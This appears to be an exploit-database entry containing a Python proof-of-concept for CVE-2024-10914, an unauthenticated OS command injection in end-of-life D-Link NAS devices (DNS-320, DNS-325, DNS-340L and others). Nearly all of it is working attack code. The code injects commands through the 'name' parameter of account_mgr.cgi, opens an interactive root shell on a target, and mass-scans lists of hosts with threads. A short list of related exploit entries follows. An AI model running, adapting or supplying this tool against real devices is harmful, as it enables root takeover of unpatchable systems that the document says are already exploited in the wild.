D-Link DNS_340L – OS Command Injection

# Exploit Title: D-Link DNS_340L - OS Command Injection

# Date: 2026-07-16

# Exploit Author: Jared Brits (K3ysTr0K3R)

# Vendor Homepage: https://www.dlink.com/

# Version: DNS-320 (v1.00), DNS-320LW (v1.01.0914.2012), DNS-325 (v1.01, v1.02), DNS-340L (v1.08), and possibly others

# Tested on: D-Link DNS-320

# CVE: CVE-2024-10914

# CVSS Score: 9.8 (Critical)

# Description: The /cgi-bin/account_mgr.cgi script on several D‑Link NAS devices is vulnerable to

# unauthenticated command injection. The cgi_user_add command accepts a 'name' parameter

# that is directly concatenated into a system() call without any sanitisation.

# By injecting a semicolon‑terminated command, an attacker can execute arbitrary

# operating system commands with root privileges.

#

# Confirmed affected models include DNS‑320, DNS‑320LW, DNS‑325, and DNS‑340L.

# D‑Link has officially declared these products End of Life and will not release

# a fix for this issue. There is evidence that this vulnerability is

# already being exploited in the wild. The CVSSv3 base score is 9.8 (Critical).

import re

import requests

from rich import print

import argparse

from alive_progress import alive_bar

from prompt_toolkit import PromptSession

from prompt_toolkit.formatted_text import HTML

from prompt_toolkit.history import InMemoryHistory

from concurrent.futures import ThreadPoolExecutor, as_completed

def ascii_art():

print("[bold bright_magenta] _______ ________ ___ ____ ___ __ __ _______ ____ _____ __[/bold bright_magenta]")

print("[bold bright_magenta] / ____/ | / / ____/ |__ \ / __ \__ \/ // / < / __ \/ __ < / // /[/bold bright_magenta]")

print("[bold bright_magenta] / / | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ / / // /_[/bold bright_magenta]")

print("[bold bright_magenta]/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/ / /_/ /\__, / /__ __/[/bold bright_magenta]")

print("[bold bright_magenta]\____/ |___/_____/ /____/\____/____/ /_/ /_/\____//____/_/ /_/[/bold bright_magenta]")

print("")

print("Coded By: Jared Brits (K3ysTr0K3R)")

print("")

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

payload = ["id"]

endpoint = "/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'"

headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36'}

def check_vulnerability(target):

for command in payload:

url = f"{target}{endpoint.format(command)}"

try:

response = requests.get(url, headers=headers, timeout=10, verify=False)

response.raise_for_status()

matcher = re.search(r"uid=\d+$(\w+)$.*gid=\d+$(\w+)$", response.text)

if matcher:

print(f"[green][+] [/green]The target appears to be vulnerable")

print(f"[green][+] [/green]Response: {matcher[0]}")

return True

except requests.RequestException:

pass

def exploit(target):

session = PromptSession(

HTML("<ansicyan>Interactive Shell:</ansicyan> "),

history=InMemoryHistory(),

)

print("[blue][*] [/blue]Interactive session shell started. Type 'exit' to quit")

print("")

while True:

try:

command = session.prompt(HTML("<ansicyan>~$</ansicyan> ")).strip()

if command.lower() in ["exit", "quit"]:

print("[blue][*] [/blue]Exiting interactive session")

break

url = f"{target}{endpoint.format(command)}"

response = requests.get(url, headers=headers, timeout=10, verify=False)

if response.status_code == 200:

output = re.sub(r"Content-type:.*\n?", "", response.text).strip()

print(output)

else:

print(f"[yellow][!] [/yellow]Command failed with status code: {response.status_code}")

except KeyboardInterrupt:

print("\n[blue][*] [/blue]Exiting interactive session")

break

except requests.RequestException:

print(f"[yellow][!] [/yellow]An error occurred")

def vuln_spray(target):

for command in payload:

url = f"{target}{endpoint.format(command)}"

try:

response = requests.get(url, headers=headers, timeout=10, verify=False)

response.raise_for_status()

matcher = re.search(r"uid=\d+$(\w+)$.*gid=\d+$(\w+)$", response.text)

if matcher:

return True

except requests.RequestException:

pass

def scan_file(file_path, threads):

with open(file_path, 'r') as file:

targets = [line.strip() for line in file if line.strip()]

with alive_bar(len(targets), title="Scanning Targets", enrich_print=False) as bar:

with ThreadPoolExecutor(max_workers=threads) as executor:

futures = {executor.submit(vuln_spray, target): target for target in targets}

for future in as_completed(futures):

bar()

target = futures[future]

try:

if future.result():

print(f"[green][+] [/green]Target [bright_red]{target}[/bright_red] is vulnerable")

except Exception:

pass

if __name__ == "__main__":

ascii_art()

parser = argparse.ArgumentParser(description="A PoC exploit for CVE-2024-10914 - D-Link Remote Code Execution (RCE)")

parser.add_argument("-u", "--url", help="Single target URL to test")

parser.add_argument("-f", "--file", help="File containing list of target URLs to scan")

parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads to use for scanning (default: 5)")

args = parser.parse_args()

if args.url:

print("[blue][*] [/blue]Checking if the target is vulnerable")

if check_vulnerability(args.url):

print("[blue][*] [/blue]Starting interactive session shell")

exploit(args.url)

else:

print("[red][-] [/red]Target is not vulnerable")

elif args.file:

print(f"[blue][*] [/blue]Scanning targets from file: [bright_red]{args.file}[bright_red]")

print(f"[blue][*] [/blue]Using {args.threads} threads for scanning")

scan_file(args.file, args.threads)

else:

print("[red][-] [/red]Please provide either a URL with -u or a file with -f")

相关漏洞条目

PHP2Shell (CVE-2026-109618) – PHP core versions after v5.4 – RCE

South River Technologies Titan MFT Server 26.0.0 – code execution

Synametrics Syncrify 6.2 – command execution

Edimax BR-6478AC firmware v2.20 – authenticated command injection